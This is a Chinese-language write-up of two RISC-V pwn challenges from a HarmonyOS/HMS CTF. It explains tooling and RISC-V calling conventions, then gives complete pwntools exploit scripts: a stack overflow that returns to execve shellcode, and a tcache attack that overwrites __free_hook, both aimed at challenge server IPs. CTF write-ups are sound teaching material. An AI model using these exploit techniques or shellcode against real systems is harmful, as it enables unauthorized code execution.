HarmonyOS和HMS专场CTF Risc-V Pwn题解

上周末抽空打了一下HarmonyOS和HMS专场CTF,做了两个Risc-V的Pwn题目。

Risc-V分析方法

静态和动态分析

计算机指令集可以分为两种:复杂指令集和精简指令集。
复杂指令集以x86指令集最为常见,多用于传统桌面软件,善于处理复杂的计算逻辑。精简指令集有ARM、MIPS和Risc-V等。ARM广泛应用于移动手持终端以及IoT设备,但是ARM指令集虽然开放但是授权架价格太高,而Risc-V是一套开源的精简指令集架构,企业可以完全免费的使用。
目前来讲,现有的工具链已经足以支持Risc-V的逆向分析。
在静态分析层面,Ghidra 9.2对于Risc-V的反编译效果不错(IDA 7.5尚不支持Risc-V),所以静态分析Risc-V用ghidra已经足够。
在动态调试层面,qemu已经集成了risc-v架构,可以支持该架构的模拟运行。在有lib的情况下,通过QEMU用户模式,添加-L参数选择lib路径,通过-g指定调试端口。在gdb高版本中,已经可以支持risv架构,同时配合gef插件,设置target remote连接QEMU的调试端口:

可以对risc-v进行正常的调试,包括下断点,查看内存等常见功能。

解决了工具链的问题,在逆向层面来讲,已经大大的降低了risc-v分析的门槛。为了更好的进行漏洞挖掘与利用,需要稍微学习一下risc-v的函数调用规则和指令集。

Risc-V函数调用约定

Risc-V函数调用也是基于寄存器和栈的,每次函数调用时优先利用寄存器传参,如果寄存器无法满足需求再利用栈传参。Risc-V寄存器种类和数量如下表所示:

在参数保存之后,通过jal指令跳转到函数开始执行。jal指令的规范为:

jal ra, offset

将会把下一条指令(pc+4)地址存放到ra寄存器中,然后跳转到当前地址+offset位置开始执行。
在子函数中,将会把ra寄存器存放到栈上,在函数返回时从栈上恢复ra寄存器,这里也就存在栈溢出的机会
我们以下面这段代码作为demo:

#include <stdio.h>

int add1(int m ,int n)
{
    return m + n ;
}

int add2(int m ,int n)
{
    char ss[10] = "hello";
    printf("%s", ss);
    return m + n ;
}

int main(){
    int m = 2;
    int n = 3;
    int sum1 = add1(m , n);
    printf("%d\n", sum1);

    int sum2 = add2(m , n);
    printf("%d\n", sum2);
    return 0;
}

编译后看一下反汇编:

将参数mv到a0和a1寄存器上后,跳转执行add1函数:

此时add1函数并没有调用子函数,即为叶子函数,此时并不需要从栈中恢复ra寄存器。
而在add2中,在函数开始位置将ra寄存器存放到栈上:

在函数结束后从栈上恢复ra寄存器:

harmoshell

这是一个简单的shell,可以支持touchlsrm等命令:

echo里面有一个栈溢出

这里的read有机会再0x30号文件的时候,输入0x200字节到栈上,但是auStack320只有264字节的长度,妥妥的栈溢出。同时echo功能也可输入写入到堆中:

考虑到该题目并没有NX,并且QEMU用户模式,堆没有随机化,所以漏洞利用,仅仅需要覆盖返回地址跳转到固定的堆地址上执行shellcode即可。
接下来需要解决Risc-V shellcode的问题,遗憾的是pwntools目前无法支持risc-v的shellcode生成,我们在shell storm上面找的了一个例子,修改之后即可使用,最后的exp如下:

#coding=utf-8
from pwn import *
context.log_level = 'debug'       
# context.binary = "harmoshell"

ru = lambda x : io.recvuntil(x)
rud = lambda x : io.recvuntil(x ,drop=True)
sn = lambda x : io.send(x)
rl = lambda x : io.recvline()
sl = lambda x : io.sendline(x)
rv = lambda x : io.recv(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
gdba = lambda : gdb.attach(io)
ioi = lambda : io.interactive()

def dbg( b ="source loadsym.py"):
    gdb.attach(io , b)
    raw_input()

def lg(s, addr):
    log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))

def menu(cmd):
    ru("$ ")
    sl(cmd)

def op_touch(file_name):
    cmd = "touch "  + file_name
    menu(cmd)

def op_rm(file_name):
    cmd = "rm " + file_name
    menu(cmd)

def op_cat(file_name):
    cmd = "cat " + file_name
    menu(cmd)

def op_ls():
    cmd = "ls"
    menu(cmd)

def op_echo(file_name, buf):
    cmd = "echo > "
    cmd += file_name
    menu(cmd)
    sl(buf)

def op_rm(file_name):
    cmd = "rm " + file_name
    menu(cmd)


io = remote("121.37.222.236", 9999)

for i in range(0x30):
    op_touch(str(i))

shellcode = "\x01\x11\x06\xec\x22\xe8\x13\x04\x21\x02\xb7\x67\x69\x6e\x93\x87\xf7\x22\x23\x30\xf4\xfe\xb7\x77\x68\x10\x33\x48\x08\x01\x05\x08\x72\x08\xb3\x87\x07\x41\x93\x87\xf7\x32\x23\x32\xf4\xfe\x93\x07\x04\xfe\x01\x46\x81\x45\x3e\x85\x93\x08\xd0\x0d\x73\x00\x00\x00"


op_echo("0", shellcode)

payload = shellcode
payload += "A"*(0x138-len(payload))
payload += p64(0x0000000000025f10)
op_echo(str(0x30), payload)

ioi()

harmoshell2

这个题目整体逻辑上和harmoshell是一样的,但是不存在栈溢出了,经过逆向在FUN_00011384函数位置找的了堆溢出:

可以看到这里的每次输入后,就会将buffer指针向后移,多echo几次就可以造成堆溢出,同时发现lib其实就是./lib/libc-2.27.so,那么这个问题就简化为了一个容易的libc堆溢出题目了。思路如下:

  1. 申请并释放7个文件,填充tcache
  2. 释放一个文件,进入unsorted bin
  3. 申请出来,泄露libc地址
  4. tcache bin attack打free_hook,写一个堆地址
  5. 在堆中部署好shellcode
  6. free释放执行shellcode

其实远程泄露的时候发现libc地址也是不变的,但是远程的qemu中的libc地址和本地qemu中libc中地址是不同的,堆地址远程和本地相同,所以exp中就直接写死了。

#coding=utf-8
from pwn import *
# context.log_level = 'debug'       
# context.binary = "harmoshell"

ru = lambda x : io.recvuntil(x)
rud = lambda x : io.recvuntil(x ,drop=True)
sn = lambda x : io.send(x)
rl = lambda x : io.recvline()
sl = lambda x : io.sendline(x)
rv = lambda x : io.recv(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
gdba = lambda : gdb.attach(io)
ioi = lambda : io.interactive()

def dbg( b ="source loadsym.py"):
    gdb.attach(io , b)
    raw_input()

def lg(s, addr):
    log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))

def menu(cmd):
    ru("$ ")
    sl(cmd)

def op_touch(file_name):
    cmd = "touch "  + file_name
    menu(cmd)

def op_rm(file_name):
    cmd = "rm " + file_name
    menu(cmd)

def op_cat(file_name):
    cmd = "cat " + file_name
    menu(cmd)

def op_ls():
    cmd = "ls"
    menu(cmd)

def op_echo(file_name, buf):
    cmd = "echo >> "
    cmd += file_name
    menu(cmd)
    sn(buf)

def op_rm(file_name):
    cmd = "rm " + file_name
    menu(cmd)

io = remote("139.159.132.55", 9999)
libc_base = 0x4000986000

libc = ELF("./lib/libc-2.27.so")
for i in range(0x5):
    op_touch(str(i))

for i in range(0x5 , 0x20):
    op_touch(str(i))

for i in range(5 , 0x20):
    op_rm(str(i))

op_touch(str(0x20))
op_cat(str(0x20))

shellcode = "\x01\x11\x06\xec\x22\xe8\x13\x04\x21\x02\xb7\x67\x69\x6e\x93\x87\xf7\x22\x23\x30\xf4\xfe\xb7\x77\x68\x10\x33\x48\x08\x01\x05\x08\x72\x08\xb3\x87\x07\x41\x93\x87\xf7\x32\x23\x32\xf4\xfe\x93\x07\x04\xfe\x01\x46\x81\x45\x3e\x85\x93\x08\xd0\x0d\x73\x00\x00\x00"

payload = "a" * 0x50
op_echo("0", payload)
lg("free_hook", libc_base + libc.sym['__free_hook'] )
op_rm("1")

payload = "b" * 0xb0
payload += p64(0) + p64(0x31)
payload += p64(0x31) + p64(0)
payload += p64(0x26050) + p64(0x100)
payload += p64(0) + p64(0x111)
payload += p64(libc_base + libc.sym['__free_hook'] - 0x10) # 0x4000aa3838
op_echo("0", payload)

op_touch(str(0x5))
op_touch(str(0x6))

op_echo("2" , shellcode)
op_echo("6", p64(0x0000000000026190) * 4)


ioi()

总结

  1. Risc-V从工具链来讲,已经具备出成CTF题目的条件
  2. Risc-V题目是新瓶装旧酒,在指令集熟悉之后,该逆向逆向,该Pwn还是Pwn
点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖